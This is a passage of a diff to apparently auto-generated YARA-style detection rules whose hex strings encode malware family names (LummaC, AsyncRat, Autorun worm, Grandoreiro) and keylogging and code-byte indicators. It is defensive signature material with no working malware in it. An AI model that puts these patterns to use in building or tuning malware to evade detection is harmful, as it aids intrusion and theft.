64 6f 77 49 6e 66 6f 00 00 78 5d } //18467 $a_00_1 = {05 00 01 00 21 } //0 $a_46_2 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 72 73 69 6c 69 61 2e 45 41 5a 54 21 4d 54 42 00 05 00 2d 01 07 08 9a 0d 00 09 6f 4f 00 00 0a 02 6f 50 00 00 0a 28 51 00 00 0a 13 04 11 04 2c 06 00 09 13 05 2b 10 00 08 17 58 0c 08 07 8e } //16675 - $a_00_3 = {00 78 5d 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 50 47 5a 21 4d 54 42 00 05 00 32 03 08 09 06 09 91 09 1f 25 5a 20 00 01 00 00 5d d2 61 d2 9c 08 09 8f 90 01 03 01 25 47 07 09 07 8e 69 5d 91 61 d2 52 09 17 58 0d 09 06 8e 69 32 d0 90 00 00 00 78 5d 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 43 2e 47 46 21 4d 54 42 00 03 00 1a 01 88 c1 40 30 f1 20 c1 88 d0 20 c8 30 ca 08 d0 88 c1 80 f1 ff 80 e1 01 8a 55 e2 02 00 12 01 20 c8 41 30 cb 44 08 d8 44 88 c1 80 f1 ff 88 c2 20 ca 00 00 78 5d 00 00 05 00 05 00 02 00 21 23 48 53 54 52 } //12905 + $a_00_3 = {00 78 5d 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 50 47 5a 21 4d 54 42 00 05 00 32 03 08 09 06 09 91 09 1f 25 5a 20 00 01 00 00 5d d2 61 d2 9c 08 09 8f 90 01 03 01 25 47 07 09 07 8e 69 5d 91 61 d2 52 09 17 58 0d 09 06 8e 69 32 d0 90 00 00 00 78 5d 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 53 75 73 70 69 63 69 6f 75 73 50 61 74 21 4d 54 42 00 03 00 2c 03 a2 80 03 00 00 04 2a 90 0a 3f 00 72 90 02 0a 80 01 00 00 04 72 90 02 0a 80 02 00 00 04 19 8d 16 00 00 01 25 18 72 3d 00 00 70 90 00 02 00 08 01 02 28 1a 00 00 0a 00 2a 00 00 78 5d 00 00 06 00 06 00 01 00 21 23 48 53 54 52 } //12905 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_46_2 & 1)*16675+(#a_00_3 & 1)*12905) >=4 } -rule _InfrastructureShared_5000{ +rule _InfrastructureShared_5212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -51740,7 +53921,7 @@ rule _InfrastructureShared_5000{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_5001{ +rule _InfrastructureShared_5213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -51750,29 +53931,28 @@ rule _InfrastructureShared_5001{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_5002{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 43 2e 47 46 21 4d 54 42 00 03 00 1a 01 88 c1 40 30 f1 20 c1 88 d0 20 c8 30 ca 08 d0 88 c1 80 f1 ff 80 e1 01 8a 55 e2 02 00 12 01 20 c8 41 30 cb 44 08 d8 44 88 c1 80 f1 ff 88 } //16675 - $a_00_1 = {00 78 5d 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 53 75 73 70 69 63 69 6f 75 73 50 61 74 21 4d 54 42 00 03 00 2c 03 a2 80 03 00 00 04 2a 90 0a 3f 00 72 90 02 0a 80 01 00 00 04 72 90 02 0a 80 02 00 00 04 19 8d 16 00 00 01 25 18 72 3d 00 00 70 90 00 02 00 08 01 02 28 1a 00 00 0a 00 2a 00 00 78 5d 00 00 06 00 06 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 61 74 2e 43 47 50 21 4d 54 42 00 05 00 20 03 1a 8d 24 00 00 01 0b 06 07 16 1a 6f 90 01 04 26 07 16 28 90 01 04 0c 06 16 73 90 01 04 0d 90 00 01 00 0a 01 47 5a 69 70 53 74 72 65 61 6d 00 00 78 5d 00 00 06 00 06 } //8386 - condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*8386) >=5 - -} -rule _InfrastructureShared_5003{ +rule _InfrastructureShared_5214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " strings : $a_54_0 = {3a 53 75 73 70 69 63 69 6f 75 73 50 61 74 21 4d 54 42 00 03 00 2c 03 a2 80 03 00 00 04 2a 90 0a 3f 00 72 90 02 0a 80 01 00 00 04 72 90 02 0a 80 02 00 00 04 19 8d 16 00 00 01 25 18 72 3d 00 00 70 90 00 02 00 08 01 02 28 1a 00 00 0a 00 2a 00 00 78 5d } //18467 - $a_00_1 = {06 00 02 00 21 23 } //0 + $a_00_1 = {06 00 01 00 21 23 } //0 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=5 } -rule _InfrastructureShared_5004{ +rule _InfrastructureShared_5215{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 01 00 21 " + + strings : + $a_54_0 = {3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 41 75 74 6f 72 75 6e 2e 50 42 4a 21 4d 54 42 00 06 00 2f 03 8a 39 41 6a 00 eb 90 01 01 24 0f 50 8a 39 41 6a 01 eb 90 01 01 24 0f c0 e0 04 5b 00 d8 88 02 42 a1 c2 10 40 00 05 5b 0c 00 00 39 c2 75 90 00 00 00 78 5d } //18467 + condition: + ((#a_54_0 & 1)*18467) >=6 + +} +rule _InfrastructureShared_5216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -51783,7 +53963,7 @@ rule _InfrastructureShared_5004{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*24933) >=6 } -rule _InfrastructureShared_5005{ +rule _InfrastructureShared_5217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -51794,7 +53974,7 @@ rule _InfrastructureShared_5005{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-13152) >=6 } -rule _InfrastructureShared_5006{ +rule _InfrastructureShared_5218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -51805,7 +53985,7 @@ rule _InfrastructureShared_5006{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=6 } -rule _InfrastructureShared_5007{ +rule _InfrastructureShared_5219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " @@ -51816,7 +53996,7 @@ rule _InfrastructureShared_5007{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*26445) >=7 } -rule _InfrastructureShared_5008{ +rule _InfrastructureShared_5220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -51826,7 +54006,7 @@ rule _InfrastructureShared_5008{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_5009{ +rule _InfrastructureShared_5221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -51836,7 +54016,7 @@ rule _InfrastructureShared_5009{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_5010{ +rule _InfrastructureShared_5222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -51846,7 +54026,7 @@ rule _InfrastructureShared_5010{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_5011{ +rule _InfrastructureShared_5223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -51856,18 +54036,7 @@ rule _InfrastructureShared_5011{ ((#a_46_0 & 1)*21283) >=10 } -rule _InfrastructureShared_5012{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 45 41 4f 4f 21 4d 54 42 00 05 00 15 01 31 fb 89 5c 24 04 8b 5c 24 04 80 c3 78 88 9c 3c e8 53 1f 1e 47 05 00 15 01 21 c7 89 7c 24 04 8b 44 24 04 04 4e 88 84 14 ca e2 4c } //16675 - $a_00_1 = {00 78 5d 00 00 0a 00 0a 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 47 72 61 6e 64 6f 72 65 69 72 6f 2e 43 41 00 05 00 08 01 d3 e8 f7 d0 33 d2 8a 55 05 00 19 03 66 b9 1a 16 8b 55 90 } //17087 - condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*17087) >=10 - -} -rule _InfrastructureShared_5013{ +rule _InfrastructureShared_5224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -51877,7 +54046,7 @@ rule _InfrastructureShared_5013{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_5014{ +rule _InfrastructureShared_5225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -51888,7 +54057,7 @@ rule _InfrastructureShared_5014{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*9504) >=10 } -rule _InfrastructureShared_5015{ +rule _InfrastructureShared_5226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -51899,18 +54068,30 @@ rule _InfrastructureShared_5015{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*20566) >=10 } -rule _InfrastructureShared_5016{ +rule _InfrastructureShared_5227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 61 63 65 4c 69 67 68 74 2e 43 21 64 68 61 00 05 00 14 01 52 6f 75 74 65 72 3a 3a 55 70 64 61 74 65 43 6f 6e 6e 49 44 05 00 13 01 52 6f 75 74 65 72 3a 3a 44 69 73 70 61 74 63 68 } //16675 - $a_00_1 = {00 78 5d 00 00 14 00 14 00 02 00 21 23 53 4c 46 3a 49 6e 74 65 6e 74 4b 65 79 6c 6f 67 67 69 6e 67 2e 46 00 0a 00 20 80 01 46 61 69 6c 65 64 20 74 6f 20 69 6e 73 74 61 6c 6c 20 4b 65 79 62 6f 61 72 64 20 48 6f 6f 6b 00 0a 00 12 80 01 53 65 74 57 69 6e 64 6f 77 73 48 6f 6f 6b 45 78 41 00 00 00 78 5d 00 00 c8 00 c8 00 02 00 21 23 41 4c 46 3a 54 72 } //27472 + $a_00_1 = {00 78 5d 00 00 0b 00 0b 00 03 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 53 74 72 69 6e 67 6f 62 66 75 73 63 61 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 0a 00 0b 81 01 53 79 73 74 65 6d 2e 54 65 78 74 01 00 08 81 01 45 6e 63 6f 64 69 6e 67 01 00 0d 81 01 53 74 72 69 6e 67 42 75 69 6c 64 65 72 00 00 78 5d 00 00 14 00 14 00 02 00 21 23 53 4c 46 3a 49 6e } //27472 condition: ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*27472) >=10 } -rule _InfrastructureShared_5017{ +rule _InfrastructureShared_5228{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " + + strings : + $a_54_0 = {3a 4d 53 49 4c 2f 53 74 72 69 6e 67 6f 62 66 75 73 63 61 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 0a 00 0b 81 01 53 79 73 74 65 6d 2e 54 65 78 74 01 00 08 81 01 45 6e 63 6f 64 69 6e 67 01 00 0d 81 01 53 74 72 69 6e 67 42 75 69 6c 64 65 72 00 00 78 5d } //18467 + $a_00_1 = {14 00 02 00 21 23 53 4c 46 3a 49 6e 74 65 6e 74 4b 65 79 6c } //0 + $a_69_2 = {67 2e 46 00 0a 00 20 80 01 46 61 69 6c 65 64 20 74 6f 20 69 6e 73 74 61 6c 6c 20 4b 65 79 62 6f 61 72 64 20 48 6f 6f 6b 00 0a 00 12 80 01 53 65 74 57 69 6e 64 6f 77 73 48 6f 6f 6b 45 78 41 00 00 00 78 5d 00 00 c8 00 c8 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 6f 72 52 6f 61 72 2e } //26479 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_69_2 & 1)*26479) >=11 + +} +rule _InfrastructureShared_5229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -51920,7 +54101,7 @@ rule _InfrastructureShared_5017{ ((#a_46_0 & 1)*21283) >=20 } -rule _InfrastructureShared_5018{ +rule _InfrastructureShared_5230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -51930,7 +54111,7 @@ rule _InfrastructureShared_5018{ ((#a_46_0 & 1)*16675) >=200 } -rule _InfrastructureShared_5019{ +rule _InfrastructureShared_5231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -51940,7 +54121,7 @@ rule _InfrastructureShared_5019{ ((#a_46_0 & 1)*16675) >=200 } -rule _InfrastructureShared_5020{ +rule _InfrastructureShared_5232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -51951,7 +54132,7 @@ rule _InfrastructureShared_5020{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*17481) >=200 } -rule _InfrastructureShared_5021{ +rule _InfrastructureShared_5233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51961,7 +54142,7 @@ rule _InfrastructureShared_5021{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5022{ +rule _InfrastructureShared_5234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51971,7 +54152,7 @@ rule _InfrastructureShared_5022{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5023{ +rule _InfrastructureShared_5235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51981,7 +54162,7 @@ rule _InfrastructureShared_5023{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5024{ +rule _InfrastructureShared_5236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51991,7 +54172,7 @@ rule _InfrastructureShared_5024{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5025{ +rule _InfrastructureShared_5237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52001,7 +54182,7 @@ rule _InfrastructureShared_5025{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5026{ +rule _InfrastructureShared_5238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52011,7 +54192,7 @@ rule _InfrastructureShared_5026{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5027{ +rule _InfrastructureShared_5239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52021,7 +54202,7 @@ rule _InfrastructureShared_5027{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5028{ +rule _InfrastructureShared_5240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52031,7 +54212,7 @@ rule _InfrastructureShared_5028{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5029{ +rule _InfrastructureShared_5241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52041,17 +54222,7 @@ rule _InfrastructureShared_5029{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5030{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 47 46 21 4d 54 42 00 01 00 33 01 44 8b c1 4d 85 c9 74 22 66 66 0f 1f 84 00 00 00 00 00 48 8b 08 48 83 c0 08 48 89 0a 48 83 c2 08 49 83 e9 01 75 ec 8b 4c 24 48 41 83 e0 07 74 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=1 - -} -rule _InfrastructureShared_5031{ +rule _InfrastructureShared_5242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52061,7 +54232,7 @@ rule _InfrastructureShared_5031{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5032{ +rule _InfrastructureShared_5243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52071,7 +54242,7 @@ rule _InfrastructureShared_5032{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5033{ +rule _InfrastructureShared_5244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52081,7 +54252,7 @@ rule _InfrastructureShared_5033{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5034{ +rule _InfrastructureShared_5245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52091,7 +54262,7 @@ rule _InfrastructureShared_5034{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5035{ +rule _InfrastructureShared_5246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52101,7 +54272,7 @@ rule _InfrastructureShared_5035{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5036{ +rule _InfrastructureShared_5247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52111,7 +54282,7 @@ rule _InfrastructureShared_5036{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5037{ +rule _InfrastructureShared_5248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52121,7 +54292,7 @@ rule _InfrastructureShared_5037{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5038{ +rule _InfrastructureShared_5249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52131,7 +54302,7 @@ rule _InfrastructureShared_5038{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5039{ +rule _InfrastructureShared_5250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52141,7 +54312,7 @@ rule _InfrastructureShared_5039{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5040{ +rule _InfrastructureShared_5251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52151,7 +54322,7 @@ rule _InfrastructureShared_5040{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5041{ +rule _InfrastructureShared_5252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52161,7 +54332,7 @@ rule _InfrastructureShared_5041{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5042{ +rule _InfrastructureShared_5253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52171,7 +54342,7 @@ rule _InfrastructureShared_5042{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5043{ +rule _InfrastructureShared_5254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52181,7 +54352,7 @@ rule _InfrastructureShared_5043{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5044{ +rule _InfrastructureShared_5255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52191,7 +54362,7 @@ rule _InfrastructureShared_5044{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5045{ +rule _InfrastructureShared_5256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52201,7 +54372,7 @@ rule _InfrastructureShared_5045{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5046{ +rule _InfrastructureShared_5257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52211,7 +54382,7 @@ rule _InfrastructureShared_5046{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5047{ +rule _InfrastructureShared_5258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52221,7 +54392,7 @@ rule _InfrastructureShared_5047{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5048{ +rule _InfrastructureShared_5259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52231,7 +54402,7 @@ rule _InfrastructureShared_5048{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5049{ +rule _InfrastructureShared_5260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52241,7 +54412,7 @@ rule _InfrastructureShared_5049{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5050{ +rule _InfrastructureShared_5261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52251,7 +54422,7 @@ rule _InfrastructureShared_5050{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5051{ +rule _InfrastructureShared_5262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52261,7 +54432,7 @@ rule _InfrastructureShared_5051{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5052{ +rule _InfrastructureShared_5263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52271,7 +54442,7 @@ rule _InfrastructureShared_5052{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5053{ +rule _InfrastructureShared_5264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52281,7 +54452,7 @@ rule _InfrastructureShared_5053{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5054{ +rule _InfrastructureShared_5265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52291,7 +54462,7 @@ rule _InfrastructureShared_5054{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5055{ +rule _InfrastructureShared_5266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52301,7 +54472,7 @@ rule _InfrastructureShared_5055{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5056{ +rule _InfrastructureShared_5267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52311,7 +54482,7 @@ rule _InfrastructureShared_5056{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5057{ +rule _InfrastructureShared_5268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52321,7 +54492,7 @@ rule _InfrastructureShared_5057{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5058{ +rule _InfrastructureShared_5269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52331,7 +54502,7 @@ rule _InfrastructureShared_5058{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5059{ +rule _InfrastructureShared_5270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52341,7 +54512,7 @@ rule _InfrastructureShared_5059{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5060{ +rule _InfrastructureShared_5271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52351,7 +54522,7 @@ rule _InfrastructureShared_5060{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5061{ +rule _InfrastructureShared_5272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52361,7 +54532,7 @@ rule _InfrastructureShared_5061{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5062{ +rule _InfrastructureShared_5273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52371,7 +54542,7 @@ rule _InfrastructureShared_5062{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5063{ +rule _InfrastructureShared_5274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52381,7 +54552,7 @@ rule _InfrastructureShared_5063{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5064{ +rule _InfrastructureShared_5275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52391,7 +54562,7 @@ rule _InfrastructureShared_5064{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5065{ +rule _InfrastructureShared_5276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52401,7 +54572,7 @@ rule _InfrastructureShared_5065{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5066{ +rule _InfrastructureShared_5277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52411,7 +54582,7 @@ rule _InfrastructureShared_5066{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5067{ +rule _InfrastructureShared_5278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52421,7 +54592,7 @@ rule _InfrastructureShared_5067{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5068{ +rule _InfrastructureShared_5279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52431,7 +54602,7 @@ rule _InfrastructureShared_5068{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5069{ +rule _InfrastructureShared_5280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52441,7 +54612,7 @@ rule _InfrastructureShared_5069{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5070{ +rule _InfrastructureShared_5281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52451,7 +54622,7 @@ rule _InfrastructureShared_5070{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5071{ +rule _InfrastructureShared_5282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52461,7 +54632,7 @@ rule _InfrastructureShared_5071{ ((#a_54_0 & 1)*18467) >=1 } -rule 